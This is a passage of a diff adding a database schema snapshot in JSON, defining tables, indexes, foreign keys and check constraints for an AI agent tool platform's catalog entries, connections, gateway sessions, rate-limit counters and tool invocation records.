+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_catalog_entries_company_idx": {
+          "name": "tool_catalog_entries_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_catalog_entries_application_idx": {
+          "name": "tool_catalog_entries_application_idx",
+          "columns": [
+            {
+              "expression": "application_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_catalog_entries_connection_idx": {
+          "name": "tool_catalog_entries_connection_idx",
+          "columns": [
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_catalog_entries_company_status_idx": {
+          "name": "tool_catalog_entries_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_catalog_entries_connection_name_uq": {
+          "name": "tool_catalog_entries_connection_name_uq",
+          "columns": [
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_catalog_entries_company_id_companies_id_fk": {
+          "name": "tool_catalog_entries_company_id_companies_id_fk",
+          "tableFrom": "tool_catalog_entries",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_catalog_entries_application_id_tool_applications_id_fk": {
+          "name": "tool_catalog_entries_application_id_tool_applications_id_fk",
+          "tableFrom": "tool_catalog_entries",
+          "tableTo": "tool_applications",
+          "columnsFrom": [
+            "application_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_catalog_entries_connection_id_tool_connections_id_fk": {
+          "name": "tool_catalog_entries_connection_id_tool_connections_id_fk",
+          "tableFrom": "tool_catalog_entries",
+          "tableTo": "tool_connections",
+          "columnsFrom": [
+            "connection_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_catalog_entries_reviewed_by_agent_id_agents_id_fk": {
+          "name": "tool_catalog_entries_reviewed_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_catalog_entries",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "reviewed_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_connection_installs": {
+      "name": "tool_connection_installs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "connection_id": {
+          "name": "connection_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_type": {
+          "name": "target_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_id": {
+          "name": "target_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_connection_installs_company_target_idx": {
+          "name": "tool_connection_installs_company_target_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_connection_installs_connection_idx": {
+          "name": "tool_connection_installs_connection_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_connection_installs_target_uq": {
+          "name": "tool_connection_installs_target_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_connection_installs_company_id_companies_id_fk": {
+          "name": "tool_connection_installs_company_id_companies_id_fk",
+          "tableFrom": "tool_connection_installs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_connection_installs_connection_id_tool_connections_id_fk": {
+          "name": "tool_connection_installs_connection_id_tool_connections_id_fk",
+          "tableFrom": "tool_connection_installs",
+          "tableTo": "tool_connections",
+          "columnsFrom": [
+            "connection_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_connection_installs_created_by_agent_id_agents_id_fk": {
+          "name": "tool_connection_installs_created_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_connection_installs",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "tool_connection_installs_target_type_check": {
+          "name": "tool_connection_installs_target_type_check",
+          "value": "\"tool_connection_installs\".\"target_type\" in ('company', 'agent')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.tool_connections": {
+      "name": "tool_connections",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "application_id": {
+          "name": "application_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "uid": {
+          "name": "uid",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "connection_kind": {
+          "name": "connection_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'managed'"
+        },
+        "ownership": {
+          "name": "ownership",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'customer'"
+        },
+        "transport": {
+          "name": "transport",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "auth_kind": {
+          "name": "auth_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'none'"
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'draft'"
+        },
+        "enabled": {
+          "name": "enabled",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "config": {
+          "name": "config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "transport_config": {
+          "name": "transport_config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "credential_refs": {
+          "name": "credential_refs",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "credential_secret_refs": {
+          "name": "credential_secret_refs",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "health_status": {
+          "name": "health_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unchecked'"
+        },
+        "health_message": {
+          "name": "health_message",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "health_checked_at": {
+          "name": "health_checked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_health_at": {
+          "name": "last_health_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_catalog_refresh_at": {
+          "name": "last_catalog_refresh_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_error": {
+          "name": "last_error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_connections_company_idx": {
+          "name": "tool_connections_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_connections_application_idx": {
+          "name": "tool_connections_application_idx",
+          "columns": [
+            {
+              "expression": "application_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_connections_company_enabled_idx": {
+          "name": "tool_connections_company_enabled_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "enabled",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_connections_company_uid_uq": {
+          "name": "tool_connections_company_uid_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "uid",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_connections_company_id_companies_id_fk": {
+          "name": "tool_connections_company_id_companies_id_fk",
+          "tableFrom": "tool_connections",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_connections_application_id_tool_applications_id_fk": {
+          "name": "tool_connections_application_id_tool_applications_id_fk",
+          "tableFrom": "tool_connections",
+          "tableTo": "tool_applications",
+          "columnsFrom": [
+            "application_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "tool_connections_created_by_agent_id_agents_id_fk": {
+          "name": "tool_connections_created_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_connections",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {
+        "tool_connections_company_id_uq": {
+          "name": "tool_connections_company_id_uq",
+          "nullsNotDistinct": false,
+          "columns": [
+            "company_id",
+            "id"
+          ]
+        }
+      },
+      "policies": {},
+      "checkConstraints": {
+        "tool_connections_ownership_check": {
+          "name": "tool_connections_ownership_check",
+          "value": "\"tool_connections\".\"ownership\" in ('platform_shared', 'platform_provisioned', 'customer', 'dcr')"
+        },
+        "tool_connections_transport_check": {
+          "name": "tool_connections_transport_check",
+          "value": "\"tool_connections\".\"transport\" in ('mcp_remote', 'rest_api', 'local_stdio')"
+        },
+        "tool_connections_auth_kind_check": {
+          "name": "tool_connections_auth_kind_check",
+          "value": "\"tool_connections\".\"auth_kind\" in ('oauth', 'api_key', 'none')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.tool_gateway_rate_limit_counters": {
+      "name": "tool_gateway_rate_limit_counters",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "counter_key": {
+          "name": "counter_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "window_start_at": {
+          "name": "window_start_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "window_ms": {
+          "name": "window_ms",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "limit": {
+          "name": "limit",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "count": {
+          "name": "count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "reset_at": {
+          "name": "reset_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_gateway_rate_limit_counters_company_idx": {
+          "name": "tool_gateway_rate_limit_counters_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_gateway_rate_limit_counters_window_uq": {
+          "name": "tool_gateway_rate_limit_counters_window_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "counter_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "window_start_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_gateway_rate_limit_counters_company_id_companies_id_fk": {
+          "name": "tool_gateway_rate_limit_counters_company_id_companies_id_fk",
+          "tableFrom": "tool_gateway_rate_limit_counters",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_gateway_sessions": {
+      "name": "tool_gateway_sessions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_id": {
+          "name": "gateway_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_token_id": {
+          "name": "gateway_token_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_public_id": {
+          "name": "gateway_public_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_subject_type": {
+          "name": "client_subject_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_subject_id": {
+          "name": "client_subject_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_name": {
+          "name": "client_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "mcp_session_id": {
+          "name": "mcp_session_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "correlation_id": {
+          "name": "correlation_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "token_hash": {
+          "name": "token_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "last_used_at": {
+          "name": "last_used_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "revoked_at": {
+          "name": "revoked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_gateway_sessions_token_hash_uq": {
+          "name": "tool_gateway_sessions_token_hash_uq",
+          "columns": [
+            {
+              "expression": "token_hash",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_gateway_sessions_company_agent_idx": {
+          "name": "tool_gateway_sessions_company_agent_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_gateway_sessions_company_expires_idx": {
+          "name": "tool_gateway_sessions_company_expires_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "expires_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_gateway_sessions_run_idx": {
+          "name": "tool_gateway_sessions_run_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_gateway_sessions_issue_idx": {
+          "name": "tool_gateway_sessions_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_gateway_sessions_gateway_idx": {
+          "name": "tool_gateway_sessions_gateway_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "gateway_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_gateway_sessions_company_id_companies_id_fk": {
+          "name": "tool_gateway_sessions_company_id_companies_id_fk",
+          "tableFrom": "tool_gateway_sessions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_gateway_sessions_agent_id_agents_id_fk": {
+          "name": "tool_gateway_sessions_agent_id_agents_id_fk",
+          "tableFrom": "tool_gateway_sessions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_gateway_sessions_run_id_heartbeat_runs_id_fk": {
+          "name": "tool_gateway_sessions_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "tool_gateway_sessions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_gateway_sessions_issue_id_issues_id_fk": {
+          "name": "tool_gateway_sessions_issue_id_issues_id_fk",
+          "tableFrom": "tool_gateway_sessions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_gateway_sessions_project_id_projects_id_fk": {
+          "name": "tool_gateway_sessions_project_id_projects_id_fk",
+          "tableFrom": "tool_gateway_sessions",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_gateway_sessions_gateway_id_tool_mcp_gateways_id_fk": {
+          "name": "tool_gateway_sessions_gateway_id_tool_mcp_gateways_id_fk",
+          "tableFrom": "tool_gateway_sessions",
+          "tableTo": "tool_mcp_gateways",
+          "columnsFrom": [
+            "gateway_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_gateway_sessions_gateway_token_id_tool_mcp_gateway_tokens_id_fk": {
+          "name": "tool_gateway_sessions_gateway_token_id_tool_mcp_gateway_tokens_id_fk",
+          "tableFrom": "tool_gateway_sessions",
+          "tableTo": "tool_mcp_gateway_tokens",
+          "columnsFrom": [
+            "gateway_token_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_invocations": {
+      "name": "tool_invocations",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "idempotency_key": {
+          "name": "idempotency_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "actor_type": {
+          "name": "actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'system'"
+        },
+        "actor_id": {
+          "name": "actor_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_id": {
+          "name": "gateway_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_token_id": {
+          "name": "gateway_token_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_public_id": {
+          "name": "gateway_public_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_subject_type": {
+          "name": "client_subject_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_subject_id": {
+          "name": "client_subject_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_name": {
+          "name": "client_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "mcp_session_id": {
+          "name": "mcp_session_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "correlation_id": {
+          "name": "correlation_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "application_id": {
+          "name": "application_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "connection_id": {
+          "name": "connection_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "catalog_entry_id": {
+          "name": "catalog_entry_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "catalog_version_hash": {
+          "name": "catalog_version_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "catalog_schema_hash": {
+          "name": "catalog_schema_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider_type": {
+          "name": "provider_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "application_key": {
+          "name": "application_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "upstream_tool_name": {
+          "name": "upstream_tool_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "risk_level": {
+          "name": "risk_level",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "tool_name": {
+          "name": "tool_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "arguments_hash": {
+          "name": "arguments_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "arguments_summary": {
+          "name": "arguments_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "policy_decision": {
+          "name": "policy_decision",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "matched_policy_ids": {
+          "name": "matched_policy_ids",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "policy_explanation": {
+          "name": "policy_explanation",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "credential_scope_summary": {
+          "name": "credential_scope_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "header_policy_summary": {
+          "name": "header_policy_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "approval_state": {
+          "name": "approval_state",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'not_required'"
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending'"
+        },
+        "upstream_request_id": {
+          "name": "upstream_request_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "result_hash": {
+          "name": "result_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "result_summary": {
+          "name": "result_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "result_size_bytes": {
+          "name": "result_size_bytes",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "result_artifact_id": {
+          "name": "result_artifact_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error_code": {
+          "name": "error_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error_message": {
+          "name": "error_message",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "started_at": {
+          "name": "started_at",
